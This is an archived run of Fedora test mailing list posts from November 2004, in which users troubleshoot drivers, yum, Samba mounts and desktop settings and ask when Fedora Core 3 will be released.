>Ernesto > > > >> > > > > >> > > > > >> > > > > >> What I do is edit /etc/rc.d/rc.sysinit > > > >> where it says other="" I put other="nvidia" works for me, > > > >> > > > >> also, if you are going to do that, you will need to either remove the > > > >> rhgb from the grub menu, or make a copy of your xorg.conf and copy it to > > > >> /etc/rhgb/xorg.conf and replace the area where it says nvidia with nv , > > > >> this will allow for fedora graphics on boot, and will still use the > > > >> nvidia module for gdm and x. > > > >> > > > >> Jim > > > >> > > > > > > > > or add '/sbin/modprobe nvidia' in /etc/rc.local (no quotes of course) > > > > > > > > > > if you're running udev, maybe the nvidia section of > > > http://fedora.redhat.com/docs/udev helps too. > > Yes, I tried that just now. Works like a charm!! > > > > > > Thanks, > > Ernesto > > > > > > > > > > > > L > > > > > > -- > > > No Software Patents! http://nosoftwarepatents.com > > > Get Firefox! http://spreadfirefox.com > > > > > > > > > > > > good to hear! > > at least I helped someone today, my story is different! lol. > > -- > =Guy > 20:24:21 up 1:54, 2 users, load average: 0.54, 0.53, 0.48 > -- =Guy 20:30:00 up 2:00, 2 users, load average: 1.20, 1.12, 0.77 From perbj at stanford.edu Mon Nov 8 02:51:48 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sun, 07 Nov 2004 18:51:48 -0800 Subject: Yum update fails python deps today... In-Reply-To: <1099879956.7631.3.camel@spike-home.comcast.net> References: <1099844552.4800.0.camel@spike-home.comcast.net> <604aa791041107092763801738@mail.gmail.com> <1099872419.3384.112.camel@localhost.localdomain> <1099873188.3829.6.camel@lion> <1099875624.7156.10.camel@spike-home.comcast.net> <1099876873.3906.41.camel@localhost.localdomain> <1099879956.7631.3.camel@spike-home.comcast.net> Message-ID: <1099882308.3906.46.camel@localhost.localdomain> On Sun, 2004-11-07 at 18:12, Christopher A. Williams wrote: > On Sun, 2004-11-07 at 17:21 -0800, Per Bjornsson wrote: > > Actually, the latest version of yum only has the global configuration in > > yum.conf. The actual repository listings are in the .repo files in > > /etc/yum.repos.d/ and they are nowadays provided by the fedora-release > > package. > > > > /Per > > Good to know. Except my version of Yum does not have any .repo files > in /etc/yum.repos.d/ yet. The directory is there though. Seems you need > to update to the fedora-release version of yum first. What I actually meant was that the files that should be in the /etc/yum.repos.d/ directory aren't put there by the yum package, they come from the "fedora-release" package. So likely you have the right version of yum, it's just that the FC3 version of fedora-release isn't in Rawhide (and it likely never will be, instead I think that one will get a new pre-FC4 version instead). > It would likely be easier (for me anyway) to just wait until the mirrors > open in the morning and take advantage of that nifty new 16X Dual-Layer > DVD+-RW I just bought. Looking forward to that ... Sounds nice... /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From mlarkin at azathoth.net Mon Nov 8 02:52:07 2004 From: mlarkin at azathoth.net (Mike Larkin) Date: Sun, 07 Nov 2004 18:52:07 -0800 Subject: FC3 ISOs alerady online? Message-ID: <418EDF57.2070503@azathoth.net> Some of the mirror sites have the ISO images online and downloadable under /core/3/i386/iso/FC3-i386-disc*.iso. Are these the official ISOs? Some of the mirrors have the '3' directory locked down, but some are open and serving ISOs already..? ...or is the plan for the core team to push another set of ISOs to the mirror sites before 3pm EST tomorrow (doubtful)? -ml From terraformers at gmx.net Mon Nov 8 03:13:58 2004 From: terraformers at gmx.net (Lars) Date: Mon, 08 Nov 2004 04:13:58 +0100 Subject: nvidia driver does not load via modprobe.conf References: <1099869577.4760.4.camel@lion> <418EB12B.20309@comcast.net> <1099871630.3980.5.camel@guyleidadell> <1099880423.3967.0.camel@lion> <1099880692.5895.11.camel@guyleidadell> <1099881020.5895.13.camel@guyleidadell> Message-ID: hehe ;-) W. Guy Thomas wrote: > oops, see? I didn't even help! misread post, sorry. > > G From m_epling at comcast.net Mon Nov 8 03:16:11 2004 From: m_epling at comcast.net (AMAZING POWERS OF OBSERVATION) Date: Sun, 07 Nov 2004 21:16:11 -0600 Subject: FC3 ISOs alerady online? In-Reply-To: <418EDF57.2070503@azathoth.net> References: <418EDF57.2070503@azathoth.net> Message-ID: <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> yea but the repositories aren't ready yet On Sun, 2004-11-07 at 18:52 -0800, Mike Larkin wrote: > Some of the mirror sites have the ISO images online and downloadable > under /core/3/i386/iso/FC3-i386-disc*.iso. > > Are these the official ISOs? Some of the mirrors have the '3' directory > locked down, but some are open and serving ISOs already..? > > ...or is the plan for the core team to push another set of ISOs to the > mirror sites before 3pm EST tomorrow (doubtful)? > > -ml > From seandarcy at hotmail.com Mon Nov 8 03:26:40 2004 From: seandarcy at hotmail.com (sean darcy) Date: Sun, 07 Nov 2004 22:26:40 -0500 Subject: yum dies with rpm python 2.4 Message-ID: installed python 2.4. rebuilt rpm, and yum. yum dies here: yum upgrade Traceback (most recent call last): File "/usr/bin/yum", line 6, in ? import yummain File "/usr/share/yum-cli/yummain.py", line 23, in ? import yum File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 20, in ? import rpm ImportError: /usr/lib/python2.4/site-packages/rpmmodule.so: undefined symbol: PyDictIter_Type ??? sean From kaboom at gatech.edu Mon Nov 8 03:30:21 2004 From: kaboom at gatech.edu (Chris Ricker) Date: Sun, 7 Nov 2004 22:30:21 -0500 (EST) Subject: New testing kernel. In-Reply-To: <1099797646.8428.15.camel@va.local.linuxlobbyist.org> References: <20041103171954.GC31914@redhat.com> <1099797646.8428.15.camel@va.local.linuxlobbyist.org> Message-ID: On Sat, 6 Nov 2004, Paul Iadonisi wrote: > Okay, I give up. What's the new magic to use the new megaraid driver > in this kernel? I've put the kernel on an IBM Netfinity with a Megaraid > controller, but the creation of the initrd failed due to the inability > to find the 'megaraid' module. Well, it no longer exists, as there has > apparently been a complete rewrite of it and it is now split into two > modules, megraid_mm and megaraid_mbox. So, the question is, what > changes do I make to /etc/modprobe.conf (or the new-kernel-pkg or > mkinitrd command line) in order to include the correct modules in the > initrd plus the correct commands in /linuxrc to insert them? > This box is remote, so I'd like it work on the first try ;-) > Googling didn't help much, by the way. Nor did searching bugzilla > (some megaraid bugs were found, but no info on how to do what I'm asking > above). I have alias scsi_hostadapter megaraid_mbox in /etc/modprobe.conf mkinitrd Just Works later, chris From kaboom at gatech.edu Mon Nov 8 03:35:59 2004 From: kaboom at gatech.edu (Chris Ricker) Date: Sun, 7 Nov 2004 22:35:59 -0500 (EST) Subject: FC3 Upgrade of x86-64 System? In-Reply-To: <1099766030.3386.17.camel@binkley> References: <6269CB6A-3015-11D9-ACD7-000A9566A350@DDG.com> <1099766030.3386.17.camel@binkley> Message-ID: On Sat, 6 Nov 2004, seth vidal wrote: > On Sat, 2004-11-06 at 11:00 -0600, Andrew W. Donoho wrote: > > > > > > ______________________________________________________________________ > > > > Folks, > > > > With the impending release of FC3, I was wondering if a single i386 > > rescue disk can be used to kick off both i386 and x86-64 system > > upgrades? In other words, can I boot the i386 rescue disk on an x86-64 > > system and then point it at an x86-64 repository to do the install as > > an x86-64 system? > > > > no, the kernel is wrong. For what little it's worth, this works on SuSE. For example, make an iso of the boot dir only for SuSE 9.2 Pro, and it'll default to x86_64 on AMD64/EMT64 gear with the option to instead install i386 if you don't want the 64-bit for some reason. On 32-bit Intel-compatible gear, it'll install i386. later, chris From pchez at mail.cyberneme.com Mon Nov 8 03:52:43 2004 From: pchez at mail.cyberneme.com (Poonchezhian P.) Date: Mon, 8 Nov 2004 09:22:43 +0530 Subject: Installing Fedora Core 3 on HP A500 Message-ID: <200411080922.43407.pchez@mail.cyberneme.com> Hi, Can I install Fedora Core 3 on HP A500 ( Currently running HP-UX 11i ). Is there any additional measures to be taken for installing Fedora ? Can someone helpme out with details. Thanks & Regards, Poonchezhian P. From dcbw at redhat.com Mon Nov 8 04:18:41 2004 From: dcbw at redhat.com (Dan Williams) Date: Sun, 7 Nov 2004 23:18:41 -0500 (EST) Subject: Installing Fedora Core 3 on HP A500 In-Reply-To: <200411080922.43407.pchez@mail.cyberneme.com> References: <200411080922.43407.pchez@mail.cyberneme.com> Message-ID: Hi, It appears that the A500 is a PA-RISC machine, which isn't an architecture that's supported by Fedora Core at this point. Other options for you that do work with PA-RISC boxes: Debian Linux NetBSD OpenBSD Dan On Mon, 8 Nov 2004, Poonchezhian P. wrote: > Hi, > > Can I install Fedora Core 3 on HP A500 ( Currently running HP-UX 11i ). > Is there any additional measures to be taken for installing Fedora ? Can > someone helpme out with details. > > Thanks & Regards, > Poonchezhian P. > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From pri.rhl3 at iadonisi.to Mon Nov 8 06:08:56 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Mon, 08 Nov 2004 01:08:56 -0500 Subject: phony FC3-final torrents Message-ID: <1099894136.24128.26.camel@va.local.linuxlobbyist.org> To anyone who, like me, found the FC3_i386_CD1-4.torrent torrent file on suprnova.org, thinking that is was leaked: don't be fooled. The md5sums are identical to FC3RC5. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From pnasrat at redhat.com Mon Nov 8 06:50:47 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Mon, 8 Nov 2004 01:50:47 -0500 Subject: yum dies with rpm python 2.4 In-Reply-To: References: Message-ID: <20041108065047.GA6080@devserv.devel.redhat.com> On Sun, Nov 07, 2004 at 10:26:40PM -0500, sean darcy wrote: > installed python 2.4. > > rebuilt rpm, and yum. Bugzilla against rpm please. Paul From arjanv at redhat.com Mon Nov 8 07:50:27 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Mon, 08 Nov 2004 08:50:27 +0100 Subject: nvidia driver does not load via modprobe.conf In-Reply-To: <1099869577.4760.4.camel@lion> References: <1099869577.4760.4.camel@lion> Message-ID: <1099900225.2811.8.camel@laptop.fenrus.org> On Sun, 2004-11-07 at 18:19 -0500, Ernest L. Williams Jr. wrote: > Hi, > > I installed "NVIDIA-Linux-x86-1.0-6629-pkg1.run" today. Lately this list has been full of NVidia related stuff. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From kyrre at solution-forge.net Mon Nov 8 09:49:35 2004 From: kyrre at solution-forge.net (kyrre at solution-forge.net) Date: Mon, 8 Nov 2004 10:49:35 +0100 (CET) Subject: FC3 ISOs alerady online? In-Reply-To: <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> Message-ID: <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> When will the "official" release be? (GMT) And which ftp's are those? > yea but the repositories aren't ready yet > > On Sun, 2004-11-07 at 18:52 -0800, Mike Larkin wrote: >> Some of the mirror sites have the ISO images online and downloadable >> under /core/3/i386/iso/FC3-i386-disc*.iso. >> >> Are these the official ISOs? Some of the mirrors have the '3' directory >> locked down, but some are open and serving ISOs already..? >> >> ...or is the plan for the core team to push another set of ISOs to the >> mirror sites before 3pm EST tomorrow (doubtful)? >> >> -ml >> > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From jansen at strw.leidenuniv.nl Mon Nov 8 10:51:43 2004 From: jansen at strw.leidenuniv.nl (David Jansen) Date: Mon, 8 Nov 2004 11:51:43 +0100 Subject: Openoffice.org right click In-Reply-To: <1099839620.9277.17.camel@P4.AAA> References: <1099839620.9277.17.camel@P4.AAA> Message-ID: <20041108105143.GA1279@strw.leidenuniv.nl> On Sun, Nov 07, 2004 at 10:00:20PM +0700, Philippe wrote: > Somebody told me about : $HOME/.rhopenoffice-1.1/dictionary.lst. It does > not seem to be used anymore, at least for my configuration. Maybe > because of an "all-user" install. I think the customizations end up somewhere else in .rhopenoffice-1.1 But it is possible for a user to configure the list of dictionaries he wants: Go to the "Tools" menu, choose "Options" and then open the "Language settings" category. Select "Writing aids", then select "OpenOffice.org MySpell spellchecker" and click on "edit". From the drop-down menu, select each language you don't want one by one, and remove the checkmarks in the modules that are there. Especially useful at multi-user setups where different users write in different languages so editing the systemwide defaults is not an option. David Jansen From gary.harthill at mirago.com Mon Nov 8 11:20:03 2004 From: gary.harthill at mirago.com (Gary Harthill) Date: Mon, 8 Nov 2004 11:20:03 -0000 Subject: FC3 ISOs alerady online? Message-ID: Oh please release soon. I am sitting here at work twiddling my thumbs waiting for the announcement. Although I can see the ftp servers grinding to a halt the minute the announcement is released. Any ideas as to the time of the release then? > -----Original Message----- > From: fedora-test-list-bounces at redhat.com [mailto:fedora-test-list- > bounces at redhat.com] On Behalf Of kyrre at solution-forge.net > Sent: 08 November 2004 09:50 > To: fedora-test-list at redhat.com > Subject: Re: FC3 ISOs alerady online? > > When will the "official" release be? (GMT) > And which ftp's are those? > > > yea but the repositories aren't ready yet > > > > On Sun, 2004-11-07 at 18:52 -0800, Mike Larkin wrote: > >> Some of the mirror sites have the ISO images online and downloadable > >> under /core/3/i386/iso/FC3-i386-disc*.iso. > >> > >> Are these the official ISOs? Some of the mirrors have the '3' directory > >> locked down, but some are open and serving ISOs already..? > >> > >> ...or is the plan for the core team to push another set of ISOs to the > >> mirror sites before 3pm EST tomorrow (doubtful)? > >> > >> -ml > >> > > > > -- > > fedora-test-list mailing list > > fedora-test-list at redhat.com > > To unsubscribe: > > http://www.redhat.com/mailman/listinfo/fedora-test-list > > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From bavinic at comcast.net Mon Nov 8 11:28:13 2004 From: bavinic at comcast.net (Jim Martin) Date: Mon, 08 Nov 2004 06:28:13 -0500 Subject: FC3 ISOs alerady online? In-Reply-To: References: Message-ID: <418F584D.5040402@comcast.net> Gary Harthill wrote: >Oh please release soon. I am sitting here at work twiddling my thumbs >waiting for the announcement. Although I can see the ftp servers >grinding to a halt the minute the announcement is released. > >Any ideas as to the time of the release then? > > > >>-----Original Message----- >>From: fedora-test-list-bounces at redhat.com [mailto:fedora-test-list- >>bounces at redhat.com] On Behalf Of kyrre at solution-forge.net >>Sent: 08 November 2004 09:50 >>To: fedora-test-list at redhat.com >>Subject: Re: FC3 ISOs alerady online? >> >>When will the "official" release be? (GMT) >>And which ftp's are those? >> >> >> >>> yea but the repositories aren't ready yet >>> >>>On Sun, 2004-11-07 at 18:52 -0800, Mike Larkin wrote: >>> >>> >>>>Some of the mirror sites have the ISO images online and >>>> >>>> >downloadable > > >>>>under /core/3/i386/iso/FC3-i386-disc*.iso. >>>> >>>>Are these the official ISOs? Some of the mirrors have the '3' >>>> >>>> >directory > > >>>>locked down, but some are open and serving ISOs already..? >>>> >>>>...or is the plan for the core team to push another set of ISOs to >>>> >>>> >the > > >>>>mirror sites before 3pm EST tomorrow (doubtful)? >>>> >>>>-ml >>>> >>>> >>>> >>>-- >>>fedora-test-list mailing list >>>fedora-test-list at redhat.com >>>To unsubscribe: >>>http://www.redhat.com/mailman/listinfo/fedora-test-list >>> >>> >>> >>-- >>fedora-test-list mailing list >>fedora-test-list at redhat.com >>To unsubscribe: >>http://www.redhat.com/mailman/listinfo/fedora-test-list >> >> > > > From my understanding it will be 3:00pm ET BaVinic From thoralf at cipsoft.com Mon Nov 8 11:39:36 2004 From: thoralf at cipsoft.com (Thoralf Will) Date: Mon, 8 Nov 2004 12:39:36 +0100 Subject: mount problems with smbfs/cifs Message-ID: <20041108113936.GB2951@celeborn.cipsoft.de> I have trouble mounting shares from a samba3 server with acls enabled. /etc/fstab: //[server]/[share] [mountpoint] smbfs uid=500,gid=500,username=[username],password=[password] 0 0 It mounts the share but ignores the uid/gid settings and uses the server sided settings (uid 1xxx, gid 2xx) which doesn't help me that much obviously. How can I fix that? Mounting with cifs gives exactly the same problem. Thanks in advance, Thoralf From dan at half-asleep.com Mon Nov 8 11:42:01 2004 From: dan at half-asleep.com (Daniel Segall) Date: Mon, 8 Nov 2004 06:42:01 -0500 (EST) Subject: apache problem? In-Reply-To: <418C083B.10607@redhat.com> References: <20041105115609.08ecddb0@huii.local> <1099652995.4037.31.camel@fusie.creativ-consulting.de> <1099658224.6373.14.camel@moss-spartans.epoch.ncsc.mil> <1099676791.3922.5.camel@nexus.verbum.private> <418C083B.10607@redhat.com> Message-ID: <42370.192.80.55.74.1099914121.squirrel@192.80.55.74> I tried upgrading the 2 selinux-policy-targeted packages from your page, and I still get the same problems. I'm not seeing any specific errors in the message log, just a bunch of initialized messages from SEL. Is there something else that needs to be done to enable this? Has that Apache + SEL doc surfaced yet? Thanks, -Dan >> > This is a bug in targeted policy. Basically there is code in the policy > to allow apache to read nfs files but it is > turned off in the release. > > I have update the policy file on > ftp://people.redhat.com/dwalsh/SELinux/FC3 > to allow this (This is a yum repository.) > selinux-policy-targeted-1.17.30-2.20 > > Or you can try out the latest policy from rawhide > selinux-policy-targeted-1.18.1-* > > Both should have a fix for this. From fedora at nodata.co.uk Mon Nov 8 11:53:06 2004 From: fedora at nodata.co.uk (nodata) Date: Mon, 8 Nov 2004 12:53:06 +0100 (CET) Subject: FC3 ISOs alerady online? In-Reply-To: <418F584D.5040402@comcast.net> References: <418F584D.5040402@comcast.net> Message-ID: <25792.213.164.3.90.1099914786.squirrel@213.164.3.90> > From my understanding it will be 3:00pm ET Which EST? Austrialia, New York, or Europe? :) I wish people would use UTC :/ From bavinic at comcast.net Mon Nov 8 12:00:59 2004 From: bavinic at comcast.net (Jim Martin) Date: Mon, 08 Nov 2004 07:00:59 -0500 Subject: FC3 ISOs alerady online? In-Reply-To: <25792.213.164.3.90.1099914786.squirrel@213.164.3.90> References: <418F584D.5040402@comcast.net> <25792.213.164.3.90.1099914786.squirrel@213.164.3.90> Message-ID: <418F5FFB.2090908@comcast.net> nodata wrote: >> From my understanding it will be 3:00pm ET >> >> >Which EST? Austrialia, New York, or Europe? :) > >I wish people would use UTC :/ > > > New York, and you are right, sorry about that. BaVinic From tonim at telefonica.net Mon Nov 8 11:49:30 2004 From: tonim at telefonica.net (Toni Moreno) Date: Mon, 08 Nov 2004 12:49:30 +0100 Subject: FC3 ISOs alerady online? In-Reply-To: References: Message-ID: <1099914570.7445.1.camel@gandalf> Quoting from a previous posting: > The bittorrent release will happen at the same time as the mirrors > open up. > Monday 3PM EST GMT-5 Don't get anxious ;-D Toni El lun, 08-11-2004 a las 12:20, Gary Harthill escribi?: > Any ideas as to the time of the release then? From phd2 at fcomfrench.com Mon Nov 8 11:32:54 2004 From: phd2 at fcomfrench.com (Philippe) Date: Mon, 08 Nov 2004 18:32:54 +0700 Subject: Openoffice.org right click In-Reply-To: <20041108105143.GA1279@strw.leidenuniv.nl> References: <1099839620.9277.17.camel@P4.AAA> <20041108105143.GA1279@strw.leidenuniv.nl> Message-ID: <1099913574.11220.69.camel@P4.AAA> On Mon, 2004-11-08 at 17:51, David Jansen wrote: > Go to the "Tools" menu, choose "Options" and then open the "Language > settings" category. > Select "Writing aids", then select "OpenOffice.org MySpell spellchecker" and > click on "edit". From the drop-down menu, select each language you don't want > one by one, and remove the checkmarks in the modules that are there. Tried already beore modifyng the dictionary by hand. Absolutely no effect for me. Philippe -- Philippe, Chiangmai, Thailand From suoko at libero.it Mon Nov 8 12:56:44 2004 From: suoko at libero.it (suoko at libero.it) Date: Mon, 8 Nov 2004 13:56:44 +0100 Subject: URGENT!!! bugs to be reported Message-ID: I guess I'm late but I'll try anyway: MY BOX: K7TA MB DURON 800 MHZ 384 MB RAM HD 80 MAXTOR GEFORCE 256 DVD-ROM SAMSUNG CD-RW SAMSUNG FC3 TEST3 WITH NO UPDATED PACKAGES: I USED THE VERSION ON CDS AS IT IS TRANSLATION ISSUES (INTO ITALIAN): MENU OPTIONS MAin menu: "File browser" correct translation: "Gestione risorse" (app: nautilus) More preferences menu: "Default printer" correct translation: "Stampante predefinita" (app: gnome-default-printer) BUTTONS: gnome-font-properties: "Details" button correct translation for the button: "Dettagli" gnome-theme-manager: "revert" button correct translation for the button: "Ripristina" GENERIC: gnome-keyboard-properties: all choices under "Selected options" and "Available options" are still in English xscreensaver-demo: this application is completely in English gnome-keybinding-properties: options "Launch help browser", "Log out", "Sleep", "Lock screen", "Home folder", "Launch web browser" and "Show the panel run application dialog" are still in English. Also the explanation sentence in the lower part of the window is in English. userpasswd: central sentence saying "changing password for ..." is in English gnome-volume-properties: option "Browse removable media when inserted" is still in English gnome-window-properties: bold titles inside the window are in English. "Window selection", "Titlebar Action" and "Movement Key" EVOLUTION 3 folders are in English: ?Sent?, ?Drafts? and ?Outbox? If I select Exchange, the ?new? button is in English Gnome pilot settings application is in English Under the color tab in the settings window name of colored labels are in English (I mean ?Important?, !?Work? ?to do? ?Personal? and ?Later? If I choose to create a signature an editor pops up. In this editor many menu options are in English Contact editor: Under ?Email? title you can insert email addresses and choose if they are ?Work?, ?Home? or ?other? These 3 choices are in English The same applies to choices for Telephone options BUGS MONITOR SETTINGS After installation, refresh settings for my monitor were not correctly configured: my monitor is usually recognized as a generic one with max resolution 1024x768 at 60Mhz Wrong settings in xorg.conf were HorizSync 31.5 - 57.0 VertRefresh 50.0 - 70.0 while correct settings are HorizSync 28.0 - 50.0 VertRefresh 43.0 - 75.0 (with bad settings I couldn't use max resolution, only 800x600) GNOME CD PLAYER It recognizes the cds, can see all songs inside it but can't play any CDs. After play it hangs and stop automatically. CDP application works fine therefore the problem is the gnome cd player. GNOME-SYSTEM-PACKAGE Can't install packages since it doesn't see the inserted cd although it correctly mount it. I tried using both my cd drives FLOPPY ACCESS I can't write to floppies neither with root permissions that's it ! ____________________________________________________________ Libero ADSL: navighi gratis a 1.2 Mega, senza canone e costi di attivazione. Abbonati subito su http://www.libero.it From xb_ml at kelkoo.net Mon Nov 8 13:57:25 2004 From: xb_ml at kelkoo.net (Xavier Bachelot) Date: Mon, 08 Nov 2004 14:57:25 +0100 Subject: mount problems with smbfs/cifs In-Reply-To: <20041108113936.GB2951@celeborn.cipsoft.de> References: <20041108113936.GB2951@celeborn.cipsoft.de> Message-ID: <418F7B45.50005@kelkoo.net> Thoralf Will wrote: > I have trouble mounting shares from a samba3 server with acls enabled. > > /etc/fstab: > //[server]/[share] [mountpoint] smbfs uid=500,gid=500,username=[username],password=[password] 0 0 > > It mounts the share but ignores the uid/gid settings and uses the server sided settings (uid 1xxx, gid 2xx) which doesn't help me that much obviously. > How can I fix that? Mounting with cifs gives exactly the same problem. > > > Thanks in advance, > Thoralf > disable unix extensions on the samba server From prothonotar at tarnation.dyndns.org Mon Nov 8 13:58:05 2004 From: prothonotar at tarnation.dyndns.org (Aaron Gaudio) Date: Mon, 08 Nov 2004 08:58:05 -0500 Subject: How to enable vino? In-Reply-To: <1098979790.1361.26.camel@blaa> References: <1098103367.28587.4.camel@localhost.localdomain> <1098104793.2697.63.camel@douglas-furlong.firebox.com> <604aa79104101821304681fcd1@mail.gmail.com> <1098162599.2697.67.camel@douglas-furlong.firebox.com> <1098206030.2734.33.camel@kyrre> <1098259980.19814.3.camel@douglas-furlong.firebox.com> <1098260223.4497.51.camel@anu.eridu> <1098266171.4363.87.camel@gibraltar.stuttgart.redhat.com> <1098298236.32459.8.camel@rockhopper> <1098330292.19197.2.camel@localhost.localdomain> <1098979790.1361.26.camel@blaa> Message-ID: <1099922285.22787.1.camel@rockhopper> On Thu, 2004-10-28 at 17:09 +0100, Mark McLoughlin wrote: > > After further trials, running /usr/libexec/vino-server manually does > > start up vino and let me connect a vncviewer to it. However, I'm > > assuming the user is not supposed to have to run this manually > > (especially considering the existence > > of /usr/lib/bonobo/servers/GNOME_RemoteDesktop.server). Does anyone know > > what is supposed to activate the server? How are others running vino? > > gnome-session is what activates vino-server depending on whether you've > enabled it from the preferences dialog. > > Are you running GNOME? Sorry, my system's been down for a week due to moving. Yes, I am running GNOME, and I have enabled the option the "Remote Desktop" caplet. From rpaiz at simpaticus.com Mon Nov 8 14:09:00 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Mon, 08 Nov 2004 08:09:00 -0600 Subject: FC3 ISOs alerady online? In-Reply-To: <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> Message-ID: <1099922940.3384.134.camel@localhost.localdomain> On Mon, 2004-11-08 at 10:49 +0100, kyrre at solution-forge.net wrote: > When will the "official" release be? (GMT) > And which ftp's are those? > Official release is today, 8/nov, at 8pm GMT. IIRC. -- Rodolfo J. Paiz -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From tjb at unh.edu Mon Nov 8 14:53:32 2004 From: tjb at unh.edu (Thomas J. Baker) Date: Mon, 08 Nov 2004 09:53:32 -0500 Subject: video=radeonfb being ignored on command line, Inspiron 600m suspend In-Reply-To: <1099670958.17729.8.camel@wintermute.sr.unh.edu> References: <1099665467.17729.3.camel@wintermute.sr.unh.edu> <1099670958.17729.8.camel@wintermute.sr.unh.edu> Message-ID: <1099925612.5793.3.camel@wintermute.sr.unh.edu> On Fri, 2004-11-05 at 11:09 -0500, Thomas J. Baker wrote: > On Fri, 2004-11-05 at 09:37 -0500, Thomas J. Baker wrote: > > I'm attempting to get some version of suspend working on a Dell 600m > > laptop. I've read that I first should be using the radeonfb device but > > specifying "video=radeonfb" on the kernel command line doesn't seem to > > take affect. I've rebuilt the initrd using --preload-module=radeonfb but > > that doesn't seem to help. Modprobing radeonfb after boot does seem to > > work though. I know I could just modprobe it in rc.modules and if that's > > the only way, I'll do it but it seems like it should work similiar to > > how vga=792 makes the vesafb work. > > > > Any ideas on the radeonfb? Any hope of getting some type of suspend > > working on an Inspiron 600m without custom kernels? > > > > Thanks, > > > > Fixed the subject since I butchered it. > To answer myself, I needed to rebuild the kernel, applying a patch and making the radeonfb compiled in and not a module. The patch, available here: http://www.loria.fr/~thome/d600/ along with the acpi scripts makes suspending and resume work 95% of the time. You also need to disable DRI in the xorg.conf file. tjb -- ======================================================================= | Thomas Baker email: tjb at unh.edu | | Systems Programmer | | Research Computing Center voice: (603) 862-4490 | | University of New Hampshire fax: (603) 862-1761 | | 332 Morse Hall | | Durham, NH 03824 USA http://wintermute.sr.unh.edu/~tjb | ======================================================================= From mattdm at mattdm.org Mon Nov 8 15:00:44 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Mon, 8 Nov 2004 10:00:44 -0500 Subject: URGENT!!! bugs to be reported In-Reply-To: References: Message-ID: <20041108150044.GA31234@jadzia.bu.edu> On Mon, Nov 08, 2004 at 01:56:44PM +0100, suoko at libero.it wrote: > I guess I'm late but I'll try anyway: Have you put these into bugzilla? If not, they have a pretty good chance of getting lost in the noise. (They *still* might get lost in the noise in bugzilla, but it's a start.) -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From Baer at BaerSolutions.com Mon Nov 8 15:04:47 2004 From: Baer at BaerSolutions.com (R. Scott Baer) Date: Mon, 08 Nov 2004 10:04:47 -0500 Subject: FC3 test 3 and xdmcp access In-Reply-To: <1099854404.4385.6.camel@kyrre> References: <418D707D.2070800@BaerSolutions.com> <1099790763.8160.2.camel@family> <418E6FD3.6030202@BaerSolutions.com> <1099854404.4385.6.camel@kyrre> Message-ID: <418F8B0F.5050102@BaerSolutions.com> >What do you mean? Has XDMCP been activated by *default*? Or did a >package upgrade turn XDMCP off (even if you had manualy enable it?) > > > Via the gui, the check mark is still present, which should let me access my box via XDMCP. But it does not. I'm assuming that a package upgrade disabled XDMCP, turned it off, where their is no link between the gui configuration and the actual functionality. It seems to be broken. Has anyone else been able to confirm this ?? Scott From thoralf at cipsoft.com Mon Nov 8 14:09:15 2004 From: thoralf at cipsoft.com (Thoralf Will) Date: Mon, 8 Nov 2004 15:09:15 +0100 Subject: mount problems with smbfs/cifs In-Reply-To: <418F7B45.50005@kelkoo.net> References: <20041108113936.GB2951@celeborn.cipsoft.de> <418F7B45.50005@kelkoo.net> Message-ID: <20041108140915.GB4017@celeborn.cipsoft.de> On Mon, Nov 08, 2004 at 02:57:25PM +0100, Xavier Bachelot wrote: > Thoralf Will wrote: > >I have trouble mounting shares from a samba3 server with acls enabled. > > > >/etc/fstab: > >//[server]/[share] [mountpoint] smbfs > >uid=500,gid=500,username=[username],password=[password] 0 0 > > > >It mounts the share but ignores the uid/gid settings and uses the server > >sided settings (uid 1xxx, gid 2xx) which doesn't help me that much > >obviously. > >How can I fix that? Mounting with cifs gives exactly the same problem. > > > > > >Thanks in advance, > >Thoralf > > > disable unix extensions on the samba server thx for the fast reply. well, that might fix the problem. but there needs to be a client sided solution for this problem because i don't have access to the servers configuration. i don't see the point of ignoring uid/gid options. looks like a bug to me. Th From dragos at csit-sun.pub.ro Mon Nov 8 14:30:18 2004 From: dragos at csit-sun.pub.ro (Dragos Popescu) Date: Mon, 8 Nov 2004 16:30:18 +0200 (EET) Subject: FC3 ISOs alerady online? In-Reply-To: <1099922940.3384.134.camel@localhost.localdomain> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> Message-ID: <2176.141.85.101.20.1099924218.squirrel@141.85.101.20> Hi, Try http://66.90.75.92/suprnova//torrents/2970/FC3_i386_CD1-4.torrent :D Dragos Popescu > On Mon, 2004-11-08 at 10:49 +0100, kyrre at solution-forge.net wrote: >> When will the "official" release be? (GMT) >> And which ftp's are those? >> > > Official release is today, 8/nov, at 8pm GMT. IIRC. > > -- > Rodolfo J. Paiz > -- > 